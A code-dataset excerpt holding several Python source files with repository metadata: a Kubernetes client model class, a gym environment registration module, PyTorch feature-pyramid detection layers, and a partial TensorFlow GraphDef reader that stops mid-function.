infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/api-conventions.md#types-kinds :param kind: The kind of this V1StorageClassList. :type: str """ self._kind = kind @property def metadata(self): """ Gets the metadata of this V1StorageClassList. Standard list metadata More info: https://git.k8s.io/community/contributors/devel/api-conventions.md#metadata :return: The metadata of this V1StorageClassList. :rtype: V1ListMeta """ return self._metadata @metadata.setter def metadata(self, metadata): """ Sets the metadata of this V1StorageClassList. Standard list metadata More info: https://git.k8s.io/community/contributors/devel/api-conventions.md#metadata :param metadata: The metadata of this V1StorageClassList. :type: V1ListMeta """ self._metadata = metadata def to_dict(self): """ Returns the model properties as a dict """ result = {} for attr, _ in iteritems(self.swagger_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value return result def to_str(self): """ Returns the string representation of the model """ return pformat(self.to_dict()) def __repr__(self): """ For `print` and `pprint` """ return self.to_str() def __eq__(self, other): """ Returns true if both objects are equal """ if not isinstance(other, V1StorageClassList): return False return self.__dict__ == other.__dict__ def __ne__(self, other): """ Returns true if both objects are not equal """ return not self == other

31.834906

282

0.588532

from pprint import pformat from six import iteritems import re class V1StorageClassList(object): swagger_types = { 'api_version': 'str', 'items': 'list[V1StorageClass]', 'kind': 'str', 'metadata': 'V1ListMeta' } attribute_map = { 'api_version': 'apiVersion', 'items': 'items', 'kind': 'kind', 'metadata': 'metadata' } def __init__(self, api_version=None, items=None, kind=None, metadata=None): self._api_version = None self._items = None self._kind = None self._metadata = None self.discriminator = None if api_version is not None: self.api_version = api_version self.items = items if kind is not None: self.kind = kind if metadata is not None: self.metadata = metadata @property def api_version(self): return self._api_version @api_version.setter def api_version(self, api_version): self._api_version = api_version @property def items(self): return self._items @items.setter def items(self, items): if items is None: raise ValueError("Invalid value for `items`, must not be `None`") self._items = items @property def kind(self): return self._kind @kind.setter def kind(self, kind): self._kind = kind @property def metadata(self): return self._metadata @metadata.setter def metadata(self, metadata): self._metadata = metadata def to_dict(self): result = {} for attr, _ in iteritems(self.swagger_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value return result def to_str(self): return pformat(self.to_dict()) def __repr__(self): return self.to_str() def __eq__(self, other): if not isinstance(other, V1StorageClassList): return False return self.__dict__ == other.__dict__ def __ne__(self, other): return not self == other

true

f7326c132616d2be4a3970c75e1ba25cc38dc29b

980

py

Python

baselines/ppo1/test_env/__init__.py

ByzanTine/baselines

69432726b689c555cdf118ad0dcf9665abbc4b9d

[ "MIT" ]

null

baselines/ppo1/test_env/__init__.py

ByzanTine/baselines

69432726b689c555cdf118ad0dcf9665abbc4b9d

[ "MIT" ]

null

baselines/ppo1/test_env/__init__.py

ByzanTine/baselines

69432726b689c555cdf118ad0dcf9665abbc4b9d

[ "MIT" ]

null

from gym.envs.registration import register import gym from test_env.envs import * register( id='Fourrooms-v1', entry_point='test_env.envs.fourrooms:Fourrooms', kwargs={ 'map_name': '9x9', }) register( id='Fourroomssto-v1', entry_point='test_env.envs.fourroom_sto:Fourroomssto', ) register( id='KeyDoor-v1', entry_point='test_env.envs.key_door:KeyDoor', ) register( id='DoubleCartPole-v1', entry_point='test_env.envs.double_cart_pole:MultipleCartPoleEnv', max_episode_steps=200, reward_threshold=195.0, ) register( id='QuadCartPole-v1', kwargs={ 'num_tasks': 4, }, entry_point='test_env.envs.double_cart_pole:MultipleCartPoleEnv', max_episode_steps=200, reward_threshold=195.0, ) register( id='16CartPole-v1', kwargs={ 'num_tasks': 16, }, entry_point='test_env.envs.double_cart_pole:MultipleCartPoleEnv', max_episode_steps=200, reward_threshold=195.0, )

20

69

0.687755

from gym.envs.registration import register import gym from test_env.envs import * register( id='Fourrooms-v1', entry_point='test_env.envs.fourrooms:Fourrooms', kwargs={ 'map_name': '9x9', }) register( id='Fourroomssto-v1', entry_point='test_env.envs.fourroom_sto:Fourroomssto', ) register( id='KeyDoor-v1', entry_point='test_env.envs.key_door:KeyDoor', ) register( id='DoubleCartPole-v1', entry_point='test_env.envs.double_cart_pole:MultipleCartPoleEnv', max_episode_steps=200, reward_threshold=195.0, ) register( id='QuadCartPole-v1', kwargs={ 'num_tasks': 4, }, entry_point='test_env.envs.double_cart_pole:MultipleCartPoleEnv', max_episode_steps=200, reward_threshold=195.0, ) register( id='16CartPole-v1', kwargs={ 'num_tasks': 16, }, entry_point='test_env.envs.double_cart_pole:MultipleCartPoleEnv', max_episode_steps=200, reward_threshold=195.0, )

true

f7326c428c5b6a9d336ebdb571cfc85e2104fd66

14,664

py

Python

horch/legacy/models/detection/enhance.py

sbl1996/pytorch-hrvvi-ext

f19abcbedd844a700b2e2596dd817ea80cbb6287

[ "MIT" ]

17

2019-05-14T10:47:25.000Z

2021-06-09T05:39:47.000Z

horch/legacy/models/detection/enhance.py

sbl1996/pytorch-hrvvi-ext

f19abcbedd844a700b2e2596dd817ea80cbb6287

[ "MIT" ]

null

horch/legacy/models/detection/enhance.py

sbl1996/pytorch-hrvvi-ext

f19abcbedd844a700b2e2596dd817ea80cbb6287

[ "MIT" ]

5

2019-08-08T07:04:38.000Z

2020-07-04T08:58:32.000Z

import torch import torch.nn as nn import torch.nn.functional as F from horch.common import tuplify from horch.models.block import mb_conv_block, MBConv from horch.models.detection.nasfpn import ReLUConvBN from horch.models.modules import upsample_add, Conv2d, Sequential, Pool2d, upsample_concat from horch.models.detection.nasfpn import NASFPN from horch.models.utils import remove_stride_padding class TopDown(nn.Module): def __init__(self, in_channels, f_channels, lite=False, aggregate='add'): super().__init__() self.aggregate = aggregate self.lat = Conv2d( in_channels, f_channels, kernel_size=1, norm='default') channels = f_channels * 2 if aggregate == 'cat' else f_channels self.conv = Conv2d( channels, f_channels, kernel_size=5 if lite else 3, norm='default', act='default', depthwise_separable=lite) def forward(self, c, p): if self.aggregate == 'cat': p = upsample_concat(p, self.lat(c)) else: p = upsample_add(p, self.lat(c)) p = self.conv(p) return p class DeconvTopDown(nn.Module): def __init__(self, in_channels1, in_channels2, f_channels, lite=False, aggregate='add'): super().__init__() self.aggregate = aggregate self.lat = Conv2d( in_channels1, f_channels, kernel_size=1, norm='default') self.deconv = Conv2d(in_channels2, f_channels, kernel_size=4, stride=2, norm='default', depthwise_separable=lite, transposed=True) channels = f_channels * 2 if aggregate == 'cat' else f_channels self.conv = Conv2d( channels, f_channels, kernel_size=5 if lite else 3, norm='default', act='default', depthwise_separable=lite) def forward(self, c, p): if self.aggregate == 'cat': p = torch.cat([self.lat(c), self.deconv(p)], dim=1) else: p = self.lat(c) + self.deconv(p) p = self.conv(p) return p class FPNExtraLayers(nn.Module): def __init__(self, in_channels, extra_layers=(6, 7), f_channels=None, downsample='conv', lite=False): super().__init__() self.extra_layers = nn.ModuleList([]) for _ in extra_layers: if downsample == 'conv': l = ReLUConvBN(in_channels, f_channels, stride=2, lite=lite) elif downsample == 'maxpool': l = Pool2d('max', kernel_size=1, stride=2) elif downsample == 'avgpool': l = Pool2d('avg', kernel_size=1, stride=2) else: raise ValueError("%s as downsampling is invalid." % downsample) in_channels = f_channels self.extra_layers.append(l) def forward(self, p): ps = [] for l in self.extra_layers: p = l(p) ps.append(p) return tuple(ps) class BasicBlock(nn.Sequential): def __init__(self, in_channels, out_channels): super().__init__() self.conv1 = Conv2d(in_channels, out_channels // 2, kernel_size=1, norm='default', act='default') self.conv2 = Conv2d(out_channels // 2, out_channels, kernel_size=3, stride=2, norm='default', act='default') class ExtraLayers(nn.Module): def __init__(self, in_channels_list, num_extra_layers=3, f_channels_list=(512, 256, 256), no_padding=0, block=BasicBlock, **kwargs): super().__init__() f_channels_list = tuplify(f_channels_list, num_extra_layers) in_channels_list = list(in_channels_list) self.extra_layers = nn.ModuleList([]) for f_channels in f_channels_list: l = block(in_channels_list[-1], f_channels, **kwargs) self.extra_layers.append(l) in_channels_list.append(f_channels) for i in range(no_padding, 0): remove_stride_padding(self.extra_layers[i]) self.out_channels = in_channels_list def forward(self, *cs): ps = list(cs) for l in self.extra_layers: ps.append(l(ps[-1])) return tuple(ps) class SSDExtraLayers(ExtraLayers): def __init__(self, in_channels_list, num_extra_layers=3, f_channels_list=(512, 256, 256), no_padding=-1): super().__init__( in_channels_list, num_extra_layers, f_channels_list, no_padding, BasicBlock ) class SSDLiteExtraLayers(ExtraLayers): def __init__(self, in_channels_list, num_extra_layers=3, f_channels_list=(512, 256, 256), no_padding=-1, kernel_size=3): super().__init__( in_channels_list, num_extra_layers, f_channels_list, no_padding, mb_conv_block, expand_ratio=4, kernel_size=kernel_size ) class FPN(nn.Module): r""" Feature Pyramid Network which enhance features of different levels. Parameters ---------- in_channels_list : sequence of ints Number of input channels of every level, e.g., ``(256,512,1024)`` f_channels : int Number of output channels. extra_layers : tuple of ints Extra layers to add, e.g., ``(6, 7)`` lite : bool Whether to replace conv3x3 with depthwise seperable conv. Default: False upsample : str Use bilinear upsampling when `interpolate` and ConvTransposed when `deconv` Default: `interpolate` """ def __init__(self, in_channels_list, f_channels=256, extra_layers=(), downsample='conv', lite=False, upsample='interpolate', aggregate='add'): super().__init__() self.lat = Conv2d(in_channels_list[-1], f_channels, kernel_size=1, norm='default') self.extra_layers = extra_layers if extra_layers: self.extras = FPNExtraLayers(f_channels, extra_layers, f_channels, downsample=downsample, lite=lite) if upsample == 'deconv': self.topdowns = nn.ModuleList([ DeconvTopDown(c, f_channels, f_channels, lite=lite, aggregate=aggregate) for c in in_channels_list[:-1] ]) else: self.topdowns = nn.ModuleList([ TopDown(c, f_channels, lite=lite, aggregate=aggregate) for c in in_channels_list[:-1] ]) self.out_channels = [f_channels] * (len(in_channels_list) + len(extra_layers)) def forward(self, *cs): p = self.lat(cs[-1]) ps = (p,) if self.extra_layers: ps = ps + self.extras(p) for c, topdown in zip(reversed(cs[:-1]), reversed(self.topdowns)): p = topdown(c, ps[0]) ps = (p,) + ps return ps class BottomUp(nn.Module): def __init__(self, f_channels, lite=False): super().__init__() self.down = Conv2d( f_channels, f_channels, kernel_size=3, stride=2, norm='default', act='default', depthwise_separable=lite) self.conv = Conv2d( f_channels, f_channels, kernel_size=3, norm='default', act='default', depthwise_separable=lite) def forward(self, p, n): n = p + self.down(n) n = self.conv(n) return n class FPN2(nn.Module): r""" Bottom-up path augmentation. Parameters ---------- in_channels_list : sequence of ints Number of input channels of every level, e.g., ``(256,256,256)`` Notice: they must be the same. f_channels : int Number of output channels. """ def __init__(self, in_channels_list, f_channels, lite=False): super().__init__() assert len(set(in_channels_list)) == 1, "Input channels of every level must be the same" assert in_channels_list[0] == f_channels, "Input channels must be the same as `f_channels`" self.bottomups = nn.ModuleList([ BottomUp(f_channels, lite=lite) for _ in in_channels_list[1:] ]) self.out_channels = [f_channels] * len(in_channels_list) def forward(self, *ps): ns = [ps[0]] for p, bottomup in zip(ps[1:], self.bottomups): n = bottomup(p, ns[-1]) ns.append(n) return tuple(ns) class ContextEnhance(nn.Module): def __init__(self, in_channels, out_channels): super().__init__() self.lats = nn.ModuleList([ Conv2d(c, out_channels, kernel_size=1, norm='default') for c in in_channels ]) self.lat_glb = Conv2d(in_channels[-1], out_channels, kernel_size=1, norm='default') def forward(self, *cs): size = cs[0].size()[2:4] p = self.lats[0](cs[0]) for c, lat in zip(cs[1:], self.lats[1:]): p += F.interpolate(lat(c), size=size, mode='bilinear', align_corners=False) c_glb = F.adaptive_avg_pool2d(cs[-1], 1) p_glb = self.lat_glb(c_glb) p += p_glb return p def stacked_fpn(num_stacked, in_channels_list, extra_layers=(), f_channels=256, lite=False, upsample='interpolate'): r""" Stacked FPN with alternant top down block and bottom up block. Parameters ---------- num_stacked : int Number of stacked fpns. in_channels_list : sequence of ints Number of input channels of every level, e.g., ``(128,256,512)`` extra_layers : tuple of ints Extra layers to add, e.g., ``(6, 7)`` f_channels : int Number of feature (output) channels. Default: 256 lite : bool Whether to replace conv3x3 with depthwise seperable conv. Default: False upsample : str Use bilinear upsampling if `interpolate` and ConvTransposed if `deconv` Default: `interpolate` """ assert num_stacked >= 2, "Use FPN directly if `num_stacked` is smaller than 2." layers = [FPN(in_channels_list, f_channels, extra_layers, lite=lite, upsample=upsample)] for i in range(1, num_stacked): if i % 2 == 0: layers.append(FPN(layers[-1].out_channels, f_channels, lite=lite, upsample=upsample)) else: layers.append(FPN2(layers[-1].out_channels, f_channels, lite=lite)) m = Sequential(*layers) m.out_channels = m[-1].out_channels return m def stacked_nas_fpn(num_stacked, in_channels_list, extra_layers=(), f_channels=256, lite=False, upsample='interpolate'): r""" Stacked FPN with alternant top down block and bottom up block. Parameters ---------- num_stacked : int Number of stacked fpns. in_channels_list : sequence of ints Number of input channels of every level, e.g., ``(128,256,512)`` extra_layers : tuple of ints Extra layers to add, e.g., ``(6, 7)`` f_channels : int Number of feature (output) channels. Default: 256 lite : bool Whether to replace conv3x3 with depthwise seperable conv. Default: False upsample : str Use bilinear upsampling if `interpolate` and ConvTransposed if `deconv` Default: `interpolate` """ assert num_stacked >= 2, "Use FPN directly if `num_stacked` is smaller than 2." layers = [FPN(in_channels_list, f_channels, extra_layers, downsample='maxpool', lite=lite, upsample=upsample)] for i in range(1, num_stacked): layers.append(NASFPN(f_channels)) m = Sequential(*layers) m.out_channels = m[-1].out_channels return m class IDA(nn.Module): def __init__(self, in_channels_list, f_channels, lite=False): super().__init__() self.num_levels = len(in_channels_list) self.topdowns = nn.ModuleList([ DeconvTopDown(in_channels_list[i], in_channels_list[i + 1], f_channels, lite=lite) for i in range(self.num_levels - 1) ]) if self.num_levels > 2: self.deep = IDA([f_channels] * (self.num_levels - 1), f_channels) def forward(self, *xs): xs = [ l(xs[i], xs[i + 1]) for i, l in enumerate(self.topdowns) ] if self.num_levels > 2: return self.deep(*xs) else: return xs[0] class IDA2(nn.Module): def __init__(self, in_channels, lite=False): super().__init__() self.num_levels = len(in_channels) self.topdowns = nn.ModuleList([ DeconvTopDown(in_channels[i], in_channels[i + 1], in_channels[i + 1], lite=lite) for i in range(self.num_levels - 1) ]) if self.num_levels > 2: self.deep = IDA2(in_channels[1:], lite=lite) def forward(self, *xs): xs = [ l(xs[i], xs[i + 1]) for i, l in enumerate(self.topdowns) ] if self.num_levels > 2: return self.deep(*xs) else: return xs[0] class YOLOFPN(nn.Module): def __init__(self, in_channels_list, f_channels_list=(256, 512, 1024), kernel_size=5): super().__init__() assert len(in_channels_list) == len(f_channels_list) num_levels = len(in_channels_list) self.convs = nn.ModuleList([]) self.lats = nn.ModuleList([]) self.outs = nn.ModuleList([]) for i in range(num_levels): f_channels = f_channels_list[-(i+1)] in_channels = in_channels_list[-(i+1)] if i == 0: self.convs.append(nn.Sequential( MBConv(in_channels, in_channels, f_channels // 4, kernel_size=kernel_size), MBConv(f_channels // 4, f_channels, f_channels // 4, kernel_size=kernel_size), )) else: self.lats.append(Conv2d(f_channels_list[-i] // 4, f_channels // 4, kernel_size=1, norm='default')) self.convs.append(nn.Sequential( MBConv(in_channels + f_channels // 4, in_channels + f_channels // 4, f_channels // 4, kernel_size=kernel_size), MBConv(f_channels // 4, f_channels, f_channels // 4, kernel_size=kernel_size), )) self.outs.append(MBConv(f_channels // 4, f_channels, None, kernel_size=kernel_size)) self.out_channels = tuple(f_channels_list) def forward(self, *cs): ps = [] p1 = self.convs[0](cs[-1]) p2 = self.outs[0](p1) ps.append(p2) for lat, conv, out, c in zip(self.lats, self.convs[1:], self.outs[1:], reversed(cs[:-1])): c = upsample_concat(lat(p1), c) p1 = conv(c) p2 = out(p1) ps.append(p2) return tuple(reversed(ps))

36.477612

136

0.598472

import torch import torch.nn as nn import torch.nn.functional as F from horch.common import tuplify from horch.models.block import mb_conv_block, MBConv from horch.models.detection.nasfpn import ReLUConvBN from horch.models.modules import upsample_add, Conv2d, Sequential, Pool2d, upsample_concat from horch.models.detection.nasfpn import NASFPN from horch.models.utils import remove_stride_padding class TopDown(nn.Module): def __init__(self, in_channels, f_channels, lite=False, aggregate='add'): super().__init__() self.aggregate = aggregate self.lat = Conv2d( in_channels, f_channels, kernel_size=1, norm='default') channels = f_channels * 2 if aggregate == 'cat' else f_channels self.conv = Conv2d( channels, f_channels, kernel_size=5 if lite else 3, norm='default', act='default', depthwise_separable=lite) def forward(self, c, p): if self.aggregate == 'cat': p = upsample_concat(p, self.lat(c)) else: p = upsample_add(p, self.lat(c)) p = self.conv(p) return p class DeconvTopDown(nn.Module): def __init__(self, in_channels1, in_channels2, f_channels, lite=False, aggregate='add'): super().__init__() self.aggregate = aggregate self.lat = Conv2d( in_channels1, f_channels, kernel_size=1, norm='default') self.deconv = Conv2d(in_channels2, f_channels, kernel_size=4, stride=2, norm='default', depthwise_separable=lite, transposed=True) channels = f_channels * 2 if aggregate == 'cat' else f_channels self.conv = Conv2d( channels, f_channels, kernel_size=5 if lite else 3, norm='default', act='default', depthwise_separable=lite) def forward(self, c, p): if self.aggregate == 'cat': p = torch.cat([self.lat(c), self.deconv(p)], dim=1) else: p = self.lat(c) + self.deconv(p) p = self.conv(p) return p class FPNExtraLayers(nn.Module): def __init__(self, in_channels, extra_layers=(6, 7), f_channels=None, downsample='conv', lite=False): super().__init__() self.extra_layers = nn.ModuleList([]) for _ in extra_layers: if downsample == 'conv': l = ReLUConvBN(in_channels, f_channels, stride=2, lite=lite) elif downsample == 'maxpool': l = Pool2d('max', kernel_size=1, stride=2) elif downsample == 'avgpool': l = Pool2d('avg', kernel_size=1, stride=2) else: raise ValueError("%s as downsampling is invalid." % downsample) in_channels = f_channels self.extra_layers.append(l) def forward(self, p): ps = [] for l in self.extra_layers: p = l(p) ps.append(p) return tuple(ps) class BasicBlock(nn.Sequential): def __init__(self, in_channels, out_channels): super().__init__() self.conv1 = Conv2d(in_channels, out_channels // 2, kernel_size=1, norm='default', act='default') self.conv2 = Conv2d(out_channels // 2, out_channels, kernel_size=3, stride=2, norm='default', act='default') class ExtraLayers(nn.Module): def __init__(self, in_channels_list, num_extra_layers=3, f_channels_list=(512, 256, 256), no_padding=0, block=BasicBlock, **kwargs): super().__init__() f_channels_list = tuplify(f_channels_list, num_extra_layers) in_channels_list = list(in_channels_list) self.extra_layers = nn.ModuleList([]) for f_channels in f_channels_list: l = block(in_channels_list[-1], f_channels, **kwargs) self.extra_layers.append(l) in_channels_list.append(f_channels) for i in range(no_padding, 0): remove_stride_padding(self.extra_layers[i]) self.out_channels = in_channels_list def forward(self, *cs): ps = list(cs) for l in self.extra_layers: ps.append(l(ps[-1])) return tuple(ps) class SSDExtraLayers(ExtraLayers): def __init__(self, in_channels_list, num_extra_layers=3, f_channels_list=(512, 256, 256), no_padding=-1): super().__init__( in_channels_list, num_extra_layers, f_channels_list, no_padding, BasicBlock ) class SSDLiteExtraLayers(ExtraLayers): def __init__(self, in_channels_list, num_extra_layers=3, f_channels_list=(512, 256, 256), no_padding=-1, kernel_size=3): super().__init__( in_channels_list, num_extra_layers, f_channels_list, no_padding, mb_conv_block, expand_ratio=4, kernel_size=kernel_size ) class FPN(nn.Module): def __init__(self, in_channels_list, f_channels=256, extra_layers=(), downsample='conv', lite=False, upsample='interpolate', aggregate='add'): super().__init__() self.lat = Conv2d(in_channels_list[-1], f_channels, kernel_size=1, norm='default') self.extra_layers = extra_layers if extra_layers: self.extras = FPNExtraLayers(f_channels, extra_layers, f_channels, downsample=downsample, lite=lite) if upsample == 'deconv': self.topdowns = nn.ModuleList([ DeconvTopDown(c, f_channels, f_channels, lite=lite, aggregate=aggregate) for c in in_channels_list[:-1] ]) else: self.topdowns = nn.ModuleList([ TopDown(c, f_channels, lite=lite, aggregate=aggregate) for c in in_channels_list[:-1] ]) self.out_channels = [f_channels] * (len(in_channels_list) + len(extra_layers)) def forward(self, *cs): p = self.lat(cs[-1]) ps = (p,) if self.extra_layers: ps = ps + self.extras(p) for c, topdown in zip(reversed(cs[:-1]), reversed(self.topdowns)): p = topdown(c, ps[0]) ps = (p,) + ps return ps class BottomUp(nn.Module): def __init__(self, f_channels, lite=False): super().__init__() self.down = Conv2d( f_channels, f_channels, kernel_size=3, stride=2, norm='default', act='default', depthwise_separable=lite) self.conv = Conv2d( f_channels, f_channels, kernel_size=3, norm='default', act='default', depthwise_separable=lite) def forward(self, p, n): n = p + self.down(n) n = self.conv(n) return n class FPN2(nn.Module): def __init__(self, in_channels_list, f_channels, lite=False): super().__init__() assert len(set(in_channels_list)) == 1, "Input channels of every level must be the same" assert in_channels_list[0] == f_channels, "Input channels must be the same as `f_channels`" self.bottomups = nn.ModuleList([ BottomUp(f_channels, lite=lite) for _ in in_channels_list[1:] ]) self.out_channels = [f_channels] * len(in_channels_list) def forward(self, *ps): ns = [ps[0]] for p, bottomup in zip(ps[1:], self.bottomups): n = bottomup(p, ns[-1]) ns.append(n) return tuple(ns) class ContextEnhance(nn.Module): def __init__(self, in_channels, out_channels): super().__init__() self.lats = nn.ModuleList([ Conv2d(c, out_channels, kernel_size=1, norm='default') for c in in_channels ]) self.lat_glb = Conv2d(in_channels[-1], out_channels, kernel_size=1, norm='default') def forward(self, *cs): size = cs[0].size()[2:4] p = self.lats[0](cs[0]) for c, lat in zip(cs[1:], self.lats[1:]): p += F.interpolate(lat(c), size=size, mode='bilinear', align_corners=False) c_glb = F.adaptive_avg_pool2d(cs[-1], 1) p_glb = self.lat_glb(c_glb) p += p_glb return p def stacked_fpn(num_stacked, in_channels_list, extra_layers=(), f_channels=256, lite=False, upsample='interpolate'): assert num_stacked >= 2, "Use FPN directly if `num_stacked` is smaller than 2." layers = [FPN(in_channels_list, f_channels, extra_layers, lite=lite, upsample=upsample)] for i in range(1, num_stacked): if i % 2 == 0: layers.append(FPN(layers[-1].out_channels, f_channels, lite=lite, upsample=upsample)) else: layers.append(FPN2(layers[-1].out_channels, f_channels, lite=lite)) m = Sequential(*layers) m.out_channels = m[-1].out_channels return m def stacked_nas_fpn(num_stacked, in_channels_list, extra_layers=(), f_channels=256, lite=False, upsample='interpolate'): assert num_stacked >= 2, "Use FPN directly if `num_stacked` is smaller than 2." layers = [FPN(in_channels_list, f_channels, extra_layers, downsample='maxpool', lite=lite, upsample=upsample)] for i in range(1, num_stacked): layers.append(NASFPN(f_channels)) m = Sequential(*layers) m.out_channels = m[-1].out_channels return m class IDA(nn.Module): def __init__(self, in_channels_list, f_channels, lite=False): super().__init__() self.num_levels = len(in_channels_list) self.topdowns = nn.ModuleList([ DeconvTopDown(in_channels_list[i], in_channels_list[i + 1], f_channels, lite=lite) for i in range(self.num_levels - 1) ]) if self.num_levels > 2: self.deep = IDA([f_channels] * (self.num_levels - 1), f_channels) def forward(self, *xs): xs = [ l(xs[i], xs[i + 1]) for i, l in enumerate(self.topdowns) ] if self.num_levels > 2: return self.deep(*xs) else: return xs[0] class IDA2(nn.Module): def __init__(self, in_channels, lite=False): super().__init__() self.num_levels = len(in_channels) self.topdowns = nn.ModuleList([ DeconvTopDown(in_channels[i], in_channels[i + 1], in_channels[i + 1], lite=lite) for i in range(self.num_levels - 1) ]) if self.num_levels > 2: self.deep = IDA2(in_channels[1:], lite=lite) def forward(self, *xs): xs = [ l(xs[i], xs[i + 1]) for i, l in enumerate(self.topdowns) ] if self.num_levels > 2: return self.deep(*xs) else: return xs[0] class YOLOFPN(nn.Module): def __init__(self, in_channels_list, f_channels_list=(256, 512, 1024), kernel_size=5): super().__init__() assert len(in_channels_list) == len(f_channels_list) num_levels = len(in_channels_list) self.convs = nn.ModuleList([]) self.lats = nn.ModuleList([]) self.outs = nn.ModuleList([]) for i in range(num_levels): f_channels = f_channels_list[-(i+1)] in_channels = in_channels_list[-(i+1)] if i == 0: self.convs.append(nn.Sequential( MBConv(in_channels, in_channels, f_channels // 4, kernel_size=kernel_size), MBConv(f_channels // 4, f_channels, f_channels // 4, kernel_size=kernel_size), )) else: self.lats.append(Conv2d(f_channels_list[-i] // 4, f_channels // 4, kernel_size=1, norm='default')) self.convs.append(nn.Sequential( MBConv(in_channels + f_channels // 4, in_channels + f_channels // 4, f_channels // 4, kernel_size=kernel_size), MBConv(f_channels // 4, f_channels, f_channels // 4, kernel_size=kernel_size), )) self.outs.append(MBConv(f_channels // 4, f_channels, None, kernel_size=kernel_size)) self.out_channels = tuple(f_channels_list) def forward(self, *cs): ps = [] p1 = self.convs[0](cs[-1]) p2 = self.outs[0](p1) ps.append(p2) for lat, conv, out, c in zip(self.lats, self.convs[1:], self.outs[1:], reversed(cs[:-1])): c = upsample_concat(lat(p1), c) p1 = conv(c) p2 = out(p1) ps.append(p2) return tuple(reversed(ps))

true

f7326c61039f4f44e5db64824c415f984f9b2d6c

8,034

py

Python

nnef_tools/io/tf/graphdef/reader.py

dvorotnev/NNEF-Tools

0219a509c34bb5b291bee497cbd658d6a5922171

[ "Apache-2.0" ]

null

nnef_tools/io/tf/graphdef/reader.py

dvorotnev/NNEF-Tools

0219a509c34bb5b291bee497cbd658d6a5922171

[ "Apache-2.0" ]

null

nnef_tools/io/tf/graphdef/reader.py

dvorotnev/NNEF-Tools

0219a509c34bb5b291bee497cbd658d6a5922171

[ "Apache-2.0" ]

null

# Copyright (c) 2020 The Khronos Group Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from __future__ import division, print_function, absolute_import from collections import namedtuple from ....model import * from ....utils.types import as_str from .protobuf import * import numpy as np import six Function = namedtuple('Function', ['name', 'attrs']) _DtypeToNumpy = { 'DT_INVALID': None, 'DT_RESOURCE': np.dtype([('resource', np.int32)]), 'DT_HALF': np.float16, 'DT_FLOAT': np.float32, 'DT_DOUBLE': np.float64, 'DT_INT8': np.int8, 'DT_INT16': np.int16, 'DT_INT32': np.int32, 'DT_INT64': np.int64, 'DT_UINT8': np.uint8, 'DT_UINT16': np.uint16, 'DT_UINT32': np.uint32, 'DT_UINT64': np.uint64, 'DT_BOOL': np.bool, 'DT_STRING': np.str, 'DT_COMPLEX64': np.complex64, 'DT_COMPLEX128': np.complex128, } def _get_shape(shape_proto): return tuple(int(dim.size) if dim.size >= 0 else None for dim in shape_proto.dim) \ if not shape_proto.unknown_rank else None def _get_dtype(dtype_enum): dtype = _DtypeToNumpy[DataType.Name(dtype_enum)] assert dtype is not None, "non-numeric dtype '{}' in attribute".format(DataType.Name(dtype_enum)) return dtype def _get_nonempty_items(message, fields): for field in fields: items = getattr(message, field) if len(items): return field, items return None, None def _get_tensor(tensor_proto): shape = _get_shape(tensor_proto.tensor_shape) dtype = _get_dtype(tensor_proto.dtype) if len(tensor_proto.tensor_content): data = np.frombuffer(tensor_proto.tensor_content, dtype=dtype).reshape(shape) else: field, items = _get_nonempty_items(tensor_proto, fields=['half_val', 'float_val', 'double_val', 'int_val', 'int64_val', 'bool_val', 'string_val', 'uint32_val', 'uint64_val', 'resource_handle_val', 'scomplex_val', 'dcomplex_val']) assert items is not None, "tensor items are empty, dtype = {}".format(dtype) items = [item for item in items] if len(items) == int(np.prod(shape)): data = np.array(items, dtype=dtype).reshape(shape) else: assert len(items) == 1 data = np.full(shape=shape, dtype=dtype, fill_value=items[0]) return data def _get_func(name_attrlist_proto): return Function(name_attrlist_proto.name, _get_attributes(name_attrlist_proto.attr)) def _get_attribute(field, value): if field == 'i' or field == 'f' or field == 'b' or field == 'placeholder': return value elif field == 's': return as_str(value.decode()) elif field == 'shape': return _get_shape(value) elif field == 'type': return _get_dtype(value) elif field == 'tensor': return _get_tensor(value) elif field == 'func': return _get_func(value) elif field == 'list': field, items = _get_nonempty_items(value, fields=['i', 'f', 'b', 's', 'shape', 'type', 'tensor', 'func']) return [_get_attribute(field, item) for item in items] if items is not None else [] assert False def _get_attributes(attr_map_proto): attributes = {} for name, value in attr_map_proto.items(): field = value.WhichOneof('value') if field is not None: value = getattr(value, field) attributes[as_str(name)] = _get_attribute(field, value) else: attributes[as_str(name)] = None return attributes def _get_output_name(node_name, idx): return node_name + ':' + str(idx) if idx > 0 else node_name def _has_output_shapes(graph_def): return all('_output_shapes' in node.attr and node.attr['_output_shapes'].WhichOneof('value') is not None for node in graph_def.node) def _add_output_shapes(graph_def): try: import tensorflow.compat.v1 as tf except ImportError: import tensorflow as tf tf.import_graph_def(graph_def, name='') return tf.get_default_graph().as_graph_def(add_shapes=True) def _get_dtypes(graph_def): try: import tensorflow.compat.v1 as tf except ImportError: import tensorflow as tf dtypes = {} graph = tf.Graph() with graph.as_default(): tf.import_graph_def(graph_def, name='') for op in graph.get_operations(): for tensor in op.outputs: name = tensor.name[:-2] if tensor.name.endswith(':0') else tensor.name dtypes[name] = tensor.dtype.as_numpy_dtype if tensor.dtype != tf.resource else _DtypeToNumpy['DT_RESOURCE'].type return dtypes def _get_output_shapes(attr_map_proto): value = attr_map_proto['_output_shapes'] field = value.WhichOneof('value') if field is None: return None value = getattr(value, field) return _get_attribute(field, value) def build_graph(graph_def): graph = Graph() dtypes = _get_dtypes(graph_def) # create tensors node_outputs = {} for node in graph_def.node: output_shapes = _get_output_shapes(node.attr) if output_shapes is not None: name = as_str(node.name) node_outputs[name] 